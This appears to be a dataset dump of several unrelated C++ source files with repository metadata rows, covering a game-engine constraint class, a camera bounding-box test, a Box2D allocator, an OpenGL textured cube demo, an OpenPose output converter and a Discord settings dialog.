pos = xfm.getPosition();
return in_bounds;
}
bool afxShapeHistConstraint::getTransform(MatrixF& xfm, F32 hist)
{
bool in_bounds;
samples->getSample(hist, &xfm, in_bounds);
return in_bounds;
}
void afxShapeHistConstraint::onDeleteNotify(SimObject* obj)
{
Parent::onDeleteNotify(obj);
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxShapeNodeHistConstraint
afxShapeNodeHistConstraint::afxShapeNodeHistConstraint(afxConstraintMgr* mgr)
: afxShapeNodeConstraint(mgr)
{
samples = 0;
}
afxShapeNodeHistConstraint::afxShapeNodeHistConstraint(afxConstraintMgr* mgr, StringTableEntry arb_name,
StringTableEntry arb_node)
: afxShapeNodeConstraint(mgr, arb_name, arb_node)
{
samples = 0;
}
afxShapeNodeHistConstraint::~afxShapeNodeHistConstraint()
{
delete samples;
}
void afxShapeNodeHistConstraint::set(ShapeBase* shape)
{
if (shape && !samples)
{
samples = new afxSampleXfmBuffer;
samples->configHistory(cons_def.history_time, cons_def.sample_rate);
}
Parent::set(shape);
}
void afxShapeNodeHistConstraint::set_scope_id(U16 scope_id)
{
if (scope_id > 0 && !samples)
{
samples = new afxSampleXfmBuffer;
samples->configHistory(cons_def.history_time, cons_def.sample_rate);
}
Parent::set_scope_id(scope_id);
}
void afxShapeNodeHistConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
Parent::sample(dt, elapsed_ms, cam_pos);
if (isDefined())
{
if (isValid())
samples->recordSample(dt, elapsed_ms, &last_xfm);
else
samples->recordSample(dt, elapsed_ms, 0);
}
}
bool afxShapeNodeHistConstraint::getPosition(Point3F& pos, F32 hist)
{
bool in_bounds;
MatrixF xfm;
samples->getSample(hist, &xfm, in_bounds);
pos = xfm.getPosition();
return in_bounds;
}
bool afxShapeNodeHistConstraint::getTransform(MatrixF& xfm, F32 hist)
{
bool in_bounds;
samples->getSample(hist, &xfm, in_bounds);
return in_bounds;
}
void afxShapeNodeHistConstraint::onDeleteNotify(SimObject* obj)
{
Parent::onDeleteNotify(obj);
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
// afxObjectHistConstraint
afxObjectHistConstraint::afxObjectHistConstraint(afxConstraintMgr* mgr)
: afxObjectConstraint(mgr)
{
samples = 0;
}
afxObjectHistConstraint::afxObjectHistConstraint(afxConstraintMgr* mgr, StringTableEntry arb_name)
: afxObjectConstraint(mgr, arb_name)
{
samples = 0;
}
afxObjectHistConstraint::~afxObjectHistConstraint()
{
delete samples;
}
void afxObjectHistConstraint::set(SceneObject* obj)
{
if (obj && !samples)
{
samples = new afxSampleXfmBuffer;
samples->configHistory(cons_def.history_time, cons_def.sample_rate);
}
Parent::set(obj);
}
void afxObjectHistConstraint::set_scope_id(U16 scope_id)
{
if (scope_id > 0 && !samples)
{
samples = new afxSampleXfmBuffer;
samples->configHistory(cons_def.history_time, cons_def.sample_rate);
}
Parent::set_scope_id(scope_id);
}
void afxObjectHistConstraint::sample(F32 dt, U32 elapsed_ms, const Point3F* cam_pos)
{
Parent::sample(dt, elapsed_ms, cam_pos);
if (isDefined())
{
if (isValid())
samples->recordSample(dt, elapsed_ms, &last_xfm);
else
samples->recordSample(dt, elapsed_ms, 0);
}
}
bool afxObjectHistConstraint::getPosition(Point3F& pos, F32 hist)
{
bool in_bounds;
MatrixF xfm;
samples->getSample(hist, &xfm, in_bounds);
pos = xfm.getPosition();
return in_bounds;
}
bool afxObjectHistConstraint::getTransform(MatrixF& xfm, F32 hist)
{
bool in_bounds;
samples->getSample(hist, &xfm, in_bounds);
return in_bounds;
}
void afxObjectHistConstraint::onDeleteNotify(SimObject* obj)
{
Parent::onDeleteNotify(obj);
}
//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~~~~//
| 24.674063 | 127 | 0.63771 | John3 |
78a67a3ca78decfb978093fd23e8d277abadfe19 | 4,379 | cxx | C++ | src/vw/Cartography/tests/TestCameraBBox.cxx | dshean/visionworkbench | d5bb23f8146ceee0a05ba7c1472c95b7a8f5fcc4 | [
"Apache-2.0"
] | 4 | 2017-02-04T20:08:18.000Z | 2021-01-07T05:07:13.000Z | src/vw/Cartography/tests/TestCameraBBox.cxx | CVandML/visionworkbench | c432442b1e806961b4b7eb15d73051ebb08f1d6b | [
"Apache-2.0"
] | null | null | null | src/vw/Cartography/tests/TestCameraBBox.cxx | CVandML/visionworkbench | c432442b1e806961b4b7eb15d73051ebb08f1d6b | [
"Apache-2.0"
] | 1 | 2022-02-26T00:44:27.000Z | 2022-02-26T00:44:27.000Z | // __BEGIN_LICENSE__
// Copyright (c) 2006-2013, United States Government as represented by the
// Administrator of the National Aeronautics and Space Administration. All
// rights reserved.
//
// The NASA Vision Workbench is licensed under the Apache License,
// Version 2.0 (the "License"); you may not use this file except in
// compliance with the License. You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// __END_LICENSE__
// TestCameraBBox.h
#include <gtest/gtest_VW.h>
#include <test/Helpers.h>
#include <vw/Cartography/CameraBBox.h>
#include <vw/Camera/PinholeModel.h>
// Must have protobuf to be able to read camera
#if defined(VW_HAVE_PKG_PROTOBUF) && VW_HAVE_PKG_PROTOBUF==1 && defined(VW_HAVE_PKG_CAMERA) && VW_HAVE_PKG_CAMERA
using namespace vw;
using namespace vw::cartography;
using namespace vw::test;
using namespace vw::camera;
class CameraBBoxTest : public ::testing::Test {
protected:
virtual void SetUp() {
apollo_camera = boost::shared_ptr<CameraModel>(new PinholeModel(TEST_SRCDIR"/apollo.pinhole"));
moon_georef.set_well_known_geogcs("D_MOON");
DEM.set_size(20,20); // DEM covering lat {10,-10} long {80,100}
for ( int32 i = 0; i < DEM.cols(); i++ )
for ( int32 j = 0; j <DEM.rows(); j++ )
DEM(i,j) = 1000 - 10*(pow(DEM.cols()/2.0-i,2.0)+pow(DEM.rows()/2.0-j,2.0));
}
boost::shared_ptr<CameraModel> apollo_camera;
GeoReference moon_georef;
ImageView<float> DEM;
};
TEST_F( CameraBBoxTest, GeospatialIntersectDatum ) {
for ( unsigned i = 0; i < 10; i++ ) {
Vector2 input_image( rand()%4096, rand()%4096 );
bool did_intersect;
Vector2 lonlat =
geospatial_intersect( moon_georef,
apollo_camera->camera_center(input_image),
apollo_camera->pixel_to_vector(input_image),
did_intersect );
ASSERT_TRUE( did_intersect );
double radius = moon_georef.datum().radius( lonlat[0], lonlat[1] );
EXPECT_NEAR( radius, 1737400, 1e-3 );
Vector3 llr( lonlat[0], lonlat[1], 0 );
Vector3 ecef = moon_georef.datum().geodetic_to_cartesian(llr);
Vector3 llr2 = moon_georef.datum().cartesian_to_geodetic(ecef);
EXPECT_VECTOR_NEAR( llr2, llr, 1e-4 );
Vector2 retrn_image = apollo_camera->point_to_pixel( ecef );
EXPECT_VECTOR_NEAR( retrn_image, input_image, 1e-3 );
}
}
TEST_F( CameraBBoxTest, CameraBBoxDatum ) {
float scale; // degrees per pixel
BBox2 image_bbox = camera_bbox( moon_georef, apollo_camera, 4096, 4096, scale );
EXPECT_VECTOR_NEAR( image_bbox.min(), Vector2(86,-1), 2 );
EXPECT_VECTOR_NEAR( image_bbox.max(), Vector2(95,7), 2 );
EXPECT_NEAR( scale, (95-86.)/sqrt(4096*4096*2), 1e-3 ); // Cam is rotated
}
TEST_F( CameraBBoxTest, CameraBBoxDEM ) {
Matrix<double> geotrans = vw::math::identity_matrix<3>();
geotrans(0,2) = 80;
geotrans(1,1) = -1;
geotrans(1,2) = 10;
moon_georef.set_transform(geotrans);
BBox2 image_bbox = camera_bbox( DEM, moon_georef, apollo_camera, 4096, 4096 );
EXPECT_VECTOR_NEAR( image_bbox.min(), Vector2(87,0), 2 );
EXPECT_VECTOR_NEAR( image_bbox.max(), Vector2(94,6), 2 );
}
TEST_F( CameraBBoxTest, CameraPixelToXYZ) {
Matrix<double> geotrans = vw::math::identity_matrix<3>();
geotrans(0,2) = 80;
geotrans(1,1) = -1;
geotrans(1,2) = 10;
moon_georef.set_transform(geotrans);
Vector2 input_pixel(50,10);
bool treat_nodata_as_zero = false;
bool has_intersection;
Vector3 xyz = camera_pixel_to_dem_xyz(apollo_camera->camera_center(input_pixel),
apollo_camera->pixel_to_vector(input_pixel),
DEM, moon_georef,
treat_nodata_as_zero,
has_intersection
);
// Verification
Vector2 output_pixel = apollo_camera->point_to_pixel(xyz);
EXPECT_EQ(has_intersection, 1);
EXPECT_VECTOR_NEAR(input_pixel, output_pixel, 1e-8);
}
#endif
| 37.42735 | 113 | 0.67504 | dshean |
78a81ca3d1a317cf93b23974abb97ea9f8cf617a | 4,105 | hpp | C++ | Box2D/Common/BlockAllocator.hpp | louis-langholtz/Box2D | 7c74792bf177cf36640d735de2bba0225bf7f852 | [
"Zlib"
] | 32 | 2016-10-20T05:55:04.000Z | 2021-11-25T16:34:41.000Z | Box2D/Common/BlockAllocator.hpp | louis-langholtz/Box2D | 7c74792bf177cf36640d735de2bba0225bf7f852 | [
"Zlib"
] | 50 | 2017-01-07T21:40:16.000Z | 2018-01-31T10:04:05.000Z | Box2D/Common/BlockAllocator.hpp | louis-langholtz/Box2D | 7c74792bf177cf36640d735de2bba0225bf7f852 | [
"Zlib"
] | 7 | 2017-02-09T10:02:02.000Z | 2020-07-23T22:49:04.000Z | /*
* Original work Copyright (c) 2006-2009 Erin Catto http://www.box2d.org
* Modified work Copyright (c) 2017 Louis Langholtz https://github.com/louis-langholtz/Box2D
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
#ifndef B2_BLOCK_ALLOCATOR_H
#define B2_BLOCK_ALLOCATOR_H
#include <Box2D/Common/Settings.hpp>
namespace box2d {
/// Block allocator.
///
/// This is a small object allocator used for allocating small
/// objects that persist for more than one time step.
/// @note This data structure is 136-bytes large (on at least one 64-bit platform).
/// @sa http://www.codeproject.com/useritems/Small_Block_Allocator.asp
///
class BlockAllocator
{
public:
using size_type = std::size_t;
static constexpr auto ChunkSize = size_type{16 * 1024}; ///< Chunk size.
static constexpr auto MaxBlockSize = size_type{640}; ///< Max block size (before using external allocator).
static constexpr auto BlockSizes = size_type{14};
static constexpr auto ChunkArrayIncrement = size_type{128};
BlockAllocator();
~BlockAllocator() noexcept;
/// Allocates memory.
/// @details Allocates uninitialized storage.
/// Uses <code>Alloc</code> if the size is larger than <code>MaxBlockSize</code>.
/// Otherwise looks for an appropriately sized block from the free list.
/// Failing that, <code>Alloc</code> is used to grow the free list from which
/// memory is returned.
/// @sa Alloc.
void* Allocate(size_type n);
template <typename T>
T* AllocateArray(size_type n)
{
return static_cast<T*>(Allocate(n * sizeof(T)));
}
/// Free memory.
/// @details This will use free if the size is larger than <code>MaxBlockSize</code>.
void Free(void* p, size_type n);
/// Clears this allocator.
/// @note This resets the chunk-count back to zero.
void Clear();
auto GetChunkCount() const noexcept
{
return m_chunkCount;
}
private:
struct Chunk;
struct Block;
size_type m_chunkCount = 0;
size_type m_chunkSpace = ChunkArrayIncrement;
Chunk* m_chunks;
Block* m_freeLists[BlockSizes];
};
template <typename T>
inline void Delete(const T* p, BlockAllocator& allocator)
{
p->~T();
allocator.Free(const_cast<T*>(p), sizeof(T));
}
/// Blockl Deallocator.
struct BlockDeallocator
{
using size_type = BlockAllocator::size_type;
BlockDeallocator() = default;
constexpr BlockDeallocator(BlockAllocator* a, size_type n) noexcept: allocator{a}, nelem{n} {}
void operator()(void *p) noexcept
{
allocator->Free(p, nelem);
}
BlockAllocator* allocator;
size_type nelem;
};
inline bool operator==(const BlockAllocator& a, const BlockAllocator& b)
{
return &a == &b;
}
inline bool operator!=(const BlockAllocator& a, const BlockAllocator& b)
{
return &a != &b;
}
} // namespace box2d
#endif
| 33.373984 | 115 | 0.629963 | louis-langholtz |
78abb23a44370079bef4f9395a04f4df1b52bac4 | 8,070 | cpp | C++ | APPENDIX_A_EXAMPLES/LINUX_VERSIONS/append_example8/append_example_a8.cpp | cp-shen/interactive_computer_graphics | 786f53d752f7b213b60a5508917e7c7f6e188c6e | [
"MIT"
] | 36 | 2015-12-10T03:33:56.000Z | 2022-02-02T04:50:51.000Z | APPENDIX_A_EXAMPLES/LINUX_VERSIONS/append_example8/append_example_a8.cpp | cp-shen/interactive_computer_graphics | 786f53d752f7b213b60a5508917e7c7f6e188c6e | [
"MIT"
] | 2 | 2016-01-21T16:51:22.000Z | 2018-12-04T16:02:01.000Z | APPENDIX_A_EXAMPLES/LINUX_VERSIONS/append_example8/append_example_a8.cpp | cp-shen/interactive_computer_graphics | 786f53d752f7b213b60a5508917e7c7f6e188c6e | [
"MIT"
] | 14 | 2015-12-14T01:10:01.000Z | 2022-01-25T22:19:55.000Z | // rotating cube with texture object
#include "Angel.h"
const int NumTriangles = 12; // (6 faces)(2 triangles/face)
const int NumVertices = 3 * NumTriangles;
const int TextureSize = 64;
typedef Angel::vec4 point4;
typedef Angel::vec4 color4;
// Texture objects and storage for texture image
GLuint textures[2];
GLubyte image[TextureSize][TextureSize][3];
GLubyte image2[TextureSize][TextureSize][3];
// Vertex data arrays
point4 points[NumVertices];
color4 quad_colors[NumVertices];
vec2 tex_coords[NumVertices];
// Array of rotation angles (in degrees) for each coordinate axis
enum { Xaxis = 0, Yaxis = 1, Zaxis = 2, NumAxes = 3 };
int Axis = Xaxis;
GLfloat Theta[NumAxes] = { 0.0, 0.0, 0.0 };
GLuint theta;
//----------------------------------------------------------------------------
int Index = 0;
void
quad( int a, int b, int c, int d )
{
point4 vertices[8] = {
point4( -0.5, -0.5, 0.5, 1.0 ),
point4( -0.5, 0.5, 0.5, 1.0 ),
point4( 0.5, 0.5, 0.5, 1.0 ),
point4( 0.5, -0.5, 0.5, 1.0 ),
point4( -0.5, -0.5, -0.5, 1.0 ),
point4( -0.5, 0.5, -0.5, 1.0 ),
point4( 0.5, 0.5, -0.5, 1.0 ),
point4( 0.5, -0.5, -0.5, 1.0 )
};
color4 colors[8] = {
color4( 0.0, 0.0, 0.0, 1.0 ), // black
color4( 1.0, 0.0, 0.0, 1.0 ), // red
color4( 1.0, 1.0, 0.0, 1.0 ), // yellow
color4( 0.0, 1.0, 0.0, 1.0 ), // green
color4( 0.0, 0.0, 1.0, 1.0 ), // blue
color4( 1.0, 0.0, 1.0, 1.0 ), // magenta
color4( 1.0, 1.0, 1.0, 1.0 ), // white
color4( 1.0, 1.0, 1.0, 1.0 ) // cyan
};
quad_colors[Index] = colors[a];
points[Index] = vertices[a];
tex_coords[Index] = vec2( 0.0, 0.0 );
Index++;
quad_colors[Index] = colors[a];
points[Index] = vertices[b];
tex_coords[Index] = vec2( 0.0, 1.0 );
Index++;
quad_colors[Index] = colors[a];
points[Index] = vertices[c];
tex_coords[Index] = vec2( 1.0, 1.0 );
Index++;
quad_colors[Index] = colors[a];
points[Index] = vertices[a];
tex_coords[Index] = vec2( 0.0, 0.0 );
Index++;
quad_colors[Index] = colors[a];
points[Index] = vertices[c];
tex_coords[Index] = vec2( 1.0, 1.0 );
Index++;
quad_colors[Index] = colors[a];
points[Index] = vertices[d];
tex_coords[Index] = vec2( 1.0, 0.0 );
Index++;
}
//----------------------------------------------------------------------------
void
colorcube()
{
quad( 1, 0, 3, 2 );
quad( 2, 3, 7, 6 );
quad( 3, 0, 4, 7 );
quad( 6, 5, 1, 2 );
quad( 4, 5, 6, 7 );
quad( 5, 4, 0, 1 );
}
//----------------------------------------------------------------------------
void
init()
{
colorcube();
// Create a checkerboard pattern
for ( int i = 0; i < 64; i++ ) {
for ( int j = 0; j < 64; j++ ) {
GLubyte c = (((i & 0x8) == 0) ^ ((j & 0x8) == 0)) * 255;
image[i][j][0] = c;
image[i][j][1] = c;
image[i][j][2] = c;
image2[i][j][0] = c;
image2[i][j][1] = 0;
image2[i][j][2] = c;
}
}
// Initialize texture objects
glGenTextures( 2, textures );
glBindTexture( GL_TEXTURE_2D, textures[0] );
glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, TextureSize, TextureSize, 0,
GL_RGB, GL_UNSIGNED_BYTE, image );
glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT );
glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT );
glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST );
glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST );
glBindTexture( GL_TEXTURE_2D, textures[1] );
glTexImage2D( GL_TEXTURE_2D, 0, GL_RGB, TextureSize, TextureSize, 0,
GL_RGB, GL_UNSIGNED_BYTE, image2 );
glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT );
glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT );
glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST );
glTexParameterf( GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST );
glActiveTexture( GL_TEXTURE0 );
glBindTexture( GL_TEXTURE_2D, textures[0] );
// Create a vertex array object
GLuint vao;
glGenVertexArraysAPPLE( 1, &vao );
glBindVertexArrayAPPLE( vao );
// Create and initialize a buffer object
GLuint buffer;
glGenBuffers( 1, &buffer );
glBindBuffer( GL_ARRAY_BUFFER, buffer );
glBufferData( GL_ARRAY_BUFFER,
sizeof(points) + sizeof(quad_colors) + sizeof(tex_coords),
NULL, GL_STATIC_DRAW );
// Specify an offset to keep track of where we're placing data in our
// vertex array buffer. We'll use the same technique when we
// associate the offsets with vertex attribute pointers.
GLintptr offset = 0;
glBufferSubData( GL_ARRAY_BUFFER, offset, sizeof(points), points );
offset += sizeof(points);
glBufferSubData( GL_ARRAY_BUFFER, offset,
sizeof(quad_colors), quad_colors );
offset += sizeof(quad_colors);
glBufferSubData( GL_ARRAY_BUFFER, offset, sizeof(tex_coords), tex_coords );
// Load shaders and use the resulting shader program
GLuint program = InitShader( "vshader_a8.glsl", "fshader_a8.glsl" );
glUseProgram( program );
// set up vertex arrays
offset = 0;
GLuint vPosition = glGetAttribLocation( program, "vPosition" );
glEnableVertexAttribArray( vPosition );
glVertexAttribPointer( vPosition, 4, GL_FLOAT, GL_FALSE, 0,
BUFFER_OFFSET(offset) );
offset += sizeof(points);
GLuint vColor = glGetAttribLocation( program, "vColor" );
glEnableVertexAttribArray( vColor );
glVertexAttribPointer( vColor, 4, GL_FLOAT, GL_FALSE, 0,
BUFFER_OFFSET(offset) );
offset += sizeof(quad_colors);
GLuint vTexCoord = glGetAttribLocation( program, "vTexCoord" );
glEnableVertexAttribArray( vTexCoord );
glVertexAttribPointer( vTexCoord, 2, GL_FLOAT, GL_FALSE, 0,
BUFFER_OFFSET(offset) );
// Set the value of the fragment shader texture sampler variable
// ("texture") to the the appropriate texture unit. In this case,
// zero, for GL_TEXTURE0 which was previously set by calling
// glActiveTexture().
glUniform1i( glGetUniformLocation(program, "texture"), 0 );
theta = glGetUniformLocation( program, "theta" );
glEnable( GL_DEPTH_TEST );
glClearColor( 1.0, 1.0, 1.0, 1.0 );
}
void
display( void )
{
glClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );
glUniform3fv( theta, 1, Theta );
glDrawArrays( GL_TRIANGLES, 0, NumVertices );
glutSwapBuffers();
}
//----------------------------------------------------------------------------
void
mouse( int button, int state, int x, int y )
{
if ( state == GLUT_DOWN ) {
switch( button ) {
case GLUT_LEFT_BUTTON: Axis = Xaxis; break;
case GLUT_MIDDLE_BUTTON: Axis = Yaxis; break;
case GLUT_RIGHT_BUTTON: Axis = Zaxis; break;
}
}
}
//----------------------------------------------------------------------------
void
idle( void )
{
Theta[Axis] += 0.01;
if ( Theta[Axis] > 360.0 ) {
Theta[Axis] -= 360.0;
}
glutPostRedisplay();
}
//----------------------------------------------------------------------------
void
keyboard( unsigned char key, int mousex, int mousey )
{
switch( key ) {
case 033: // Escape Key
case 'q': case 'Q':
exit( EXIT_SUCCESS );
break;
case '1':
glBindTexture( GL_TEXTURE_2D, textures[0] );
break;
case '2':
glBindTexture( GL_TEXTURE_2D, textures[1] );
break;
}
glutPostRedisplay();
}
//----------------------------------------------------------------------------
int
main( int argc, char **argv )
{
glutInit( &argc, argv );
glutInitDisplayMode( GLUT_RGBA | GLUT_DOUBLE | GLUT_DEPTH );
glutInitWindowSize( 512, 512 );
glutCreateWindow( "Color Cube" );
init();
glutDisplayFunc( display );
glutKeyboardFunc( keyboard );
glutMouseFunc( mouse );
glutIdleFunc( idle );
glutMainLoop();
return 0;
}
| 28.118467 | 79 | 0.576084 | cp-shen |
78b260e86a70c13f46271626e3cd942ab9ccee0b | 4,111 | cpp | C++ | src/openpose/core/opOutputToCvMat.cpp | xrtube/openpose | 1368b8284e0c930838f98a3b2b470d513cb84e67 | [
"DOC"
] | 2 | 2019-05-10T01:52:53.000Z | 2019-05-10T01:52:59.000Z | src/openpose/core/opOutputToCvMat.cpp | YukinoshitaYuki/openpose | 56bc77272c8be911ecaecc258d7a62cda5453f96 | [
"DOC"
] | null | null | null | src/openpose/core/opOutputToCvMat.cpp | YukinoshitaYuki/openpose | 56bc77272c8be911ecaecc258d7a62cda5453f96 | [
"DOC"
] | 1 | 2019-05-25T07:32:52.000Z | 2019-05-25T07:32:52.000Z | #ifdef USE_CUDA
#include <openpose/gpu/cuda.hpp>
#include <openpose/gpu/cuda.hu>
#endif
#include <openpose/utilities/openCv.hpp>
#include <openpose/core/opOutputToCvMat.hpp>
namespace op
{
OpOutputToCvMat::OpOutputToCvMat(const bool gpuResize) :
mGpuResize{gpuResize},
spOutputImageFloatCuda{std::make_shared<float*>()},
spOutputMaxSize{std::make_shared<unsigned long long>(0ull)},
spGpuMemoryAllocated{std::make_shared<bool>(false)},
pOutputImageUCharCuda{nullptr},
mOutputMaxSizeUChar{0ull}
{
try
{
#ifndef USE_CUDA
if (mGpuResize)
error("You need to compile OpenPose with CUDA support in order to use GPU resize.",
__LINE__, __FUNCTION__, __FILE__);
#endif
}
catch (const std::exception& e)
{
error(e.what(), __LINE__, __FUNCTION__, __FILE__);
}
}
OpOutputToCvMat::~OpOutputToCvMat()
{
try
{
#ifdef USE_CUDA
if (mGpuResize)
{
// Free temporary memory
cudaFree(*spOutputImageFloatCuda);
cudaFree(pOutputImageUCharCuda);
}
#endif
}
catch (const std::exception& e)
{
errorDestructor(e.what(), __LINE__, __FUNCTION__, __FILE__);
}
}
void OpOutputToCvMat::setSharedParameters(
const std::tuple<std::shared_ptr<float*>, std::shared_ptr<bool>, std::shared_ptr<unsigned long long>>& tuple)
{
try
{
spOutputImageFloatCuda = std::get<0>(tuple);
spGpuMemoryAllocated = std::get<1>(tuple);
spOutputMaxSize = std::get<2>(tuple);
}
catch (const std::exception& e)
{
error(e.what(), __LINE__, __FUNCTION__, __FILE__);
}
}
cv::Mat OpOutputToCvMat::formatToCvMat(const Array<float>& outputData)
{
try
{
// Sanity check
if (outputData.empty())
error("Wrong input element (empty outputData).", __LINE__, __FUNCTION__, __FILE__);
// Final result
cv::Mat cvMat;
// CPU version
if (!mGpuResize)
{
// outputData to cvMat
outputData.getConstCvMat().convertTo(cvMat, CV_8UC3);
}
// CUDA version
else
{
#ifdef USE_CUDA
// (Free and re-)Allocate temporary memory
if (mOutputMaxSizeUChar < *spOutputMaxSize)
{
mOutputMaxSizeUChar = *spOutputMaxSize;
cudaFree(pOutputImageUCharCuda);
cudaMalloc((void**)&pOutputImageUCharCuda, sizeof(unsigned char) * mOutputMaxSizeUChar);
}
// Float ptr --> unsigned char ptr
const auto volume = (int)outputData.getVolume();
uCharImageCast(pOutputImageUCharCuda, *spOutputImageFloatCuda, volume);
// Allocate cvMat
cvMat = cv::Mat(outputData.getSize(0), outputData.getSize(1), CV_8UC3);
// CUDA --> CPU: Copy output image back to CPU
cudaMemcpy(
cvMat.data, pOutputImageUCharCuda, sizeof(unsigned char) * mOutputMaxSizeUChar,
cudaMemcpyDeviceToHost);
// Indicate memory was copied out
*spGpuMemoryAllocated = false;
#else
error("You need to compile OpenPose with CUDA support in order to use GPU resize.",
__LINE__, __FUNCTION__, __FILE__);
#endif
}
// Return cvMat
return cvMat;
}
catch (const std::exception& e)
{
error(e.what(), __LINE__, __FUNCTION__, __FILE__);
return cv::Mat();
}
}
}
| 34.838983 | 121 | 0.518365 | xrtube |
78ba49fb5527bde70419b9a25b5327acf2c9bff9 | 2,296 | cpp | C++ | src/Geno/C++/GUI/Modals/DiscordRPCSettingsModal.cpp | Starkshat/Geno | 64e52e802eda97c48d90080b774bd51b4d873321 | [
"Zlib"
] | 33 | 2021-06-14T15:40:38.000Z | 2022-03-16T01:23:40.000Z | src/Geno/C++/GUI/Modals/DiscordRPCSettingsModal.cpp | Starkshat/Geno | 64e52e802eda97c48d90080b774bd51b4d873321 | [
"Zlib"
] | 9 | 2021-06-18T13:15:05.000Z | 2022-01-05T11:48:28.000Z | src/Geno/C++/GUI/Modals/DiscordRPCSettingsModal.cpp | Starkshat/Geno | 64e52e802eda97c48d90080b774bd51b4d873321 | [
"Zlib"
] | 11 | 2021-06-14T17:01:00.000Z | 2022-03-16T01:44:42.000Z | /*
* Copyright (c) 2021 Sebastian Kylander https://gaztin.com/
*
* This software is provided 'as-is', without any express or implied warranty. In no event will
* the authors be held liable for any damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose, including commercial
* applications, and to alter it and redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not claim that you wrote the
* original software. If you use this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be misrepresented as
* being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
#include "DiscordRPCSettingsModal.h"
#include "Discord/DiscordRPC.h"
//////////////////////////////////////////////////////////////////////////
std::string DiscordRPCSettingsModal::PopupID( void )
{
return "EXT_DISCORD_RPC_MODAL";
} // PopupID
//////////////////////////////////////////////////////////////////////////
std::string DiscordRPCSettingsModal::Title( void )
{
return "Discord RPC Settings";
} // Title
//////////////////////////////////////////////////////////////////////////
void DiscordRPCSettingsModal::UpdateDerived( void )
{
ImGui::Text( "Show File Name" ); ImGui::SameLine(); ImGui::Checkbox( "##gd-ext-file", &DiscordRPC::Instance().m_Settings.ShowFilename );
ImGui::Text( "Show Workspace Name" ); ImGui::SameLine(); ImGui::Checkbox( "##gd-ext-wks", &DiscordRPC::Instance().m_Settings.ShowWrksName );
ImGui::Text( "Show Time" ); ImGui::SameLine(); ImGui::Checkbox( "##gd-ext-time", &DiscordRPC::Instance().m_Settings.ShowTime );
ImGui::Text( "Show" ); ImGui::SameLine(); ImGui::Checkbox( "##gd-ext-show", &DiscordRPC::Instance().m_Settings.Show );
if( ImGui::Button( "Close" ) )
Close();
} // UpdateDerived
//////////////////////////////////////////////////////////////////////////
void DiscordRPCSettingsModal::Show( void )
{
if( Open() )
ImGui::SetWindowSize( ImVec2( 365, 189 ) );
} // Show
| 38.266667 | 143 | 0.618031 | Starkshat |
78bb3a501f7728c1ffc728dc987ac5a91a28865f | 261 | cpp | C++ | ABC/ABC051/A.cpp | rajyan/AtCoder | 2c1187994016d4c19b95489d2f2d2c0eab43dd8e | [
"MIT"
] | 1 | 2021-06-01T17:13:44.000Z | 2021-06-01T17:13:44.000Z | ABC/ABC051/A.cpp | rajyan/AtCoder | 2c1187994016d4c19b95489d2f2d2c0eab43dd8e | [
"MIT"
] | null | null | null | ABC/ABC051/A.cpp | rajyan/AtCoder | 2c1187994016d4c19b95489d2f2d2c0eab43dd8e | [
"MIT"
] | null | null | null | //#include <iostream>
//#include <sstream>
//#include <vector>
//
//using namespace std;
//
//int main() {
//
// stringstream ss;
// string tmp;
//
// cin >> tmp;
//
// ss.str(tmp);
//
// while (getline(ss, tmp, ',')) cout << tmp << " ";
//
// return 0;
//
//} | 13.05 | 52 | 0.51341 | rajyan |
78be2e2a5497984a90ff54d16a9d800c0b12bb50 | 5,165 | cpp | C++ | Real-Time Corruptor/BizHawk_RTC/psx/octoshock/cdrom/recover-raw.cpp | redscientistlabs/Bizhawk50X-Vanguard | 96e0f5f87671a1230784c8faf935fe70baadfe48 | [
"MIT"
] | 1,414 | 2015-06-28T09:57:51.000Z | 2021-10-14T03:51:10.000Z | Real-Time Corruptor/BizHawk_RTC/psx/octoshock/cdrom/recover-raw.cpp | redscientistlabs/Bizhawk50X-Vanguard | 96e0f5f87671a1230784c8faf935fe70baadfe48 | [
"MIT"
] | 2,369 | 2015-06-25T01:45:44.000Z | 2021-10-16T08:44:18.000Z | Real-Time Corruptor/BizHawk_RTC/psx/octoshock/cdrom/recover-raw.cpp | redscientistlabs/Bizhawk50X-Vanguard | 96e0f5f87671a1230784c8faf935fe70baadfe48 | [
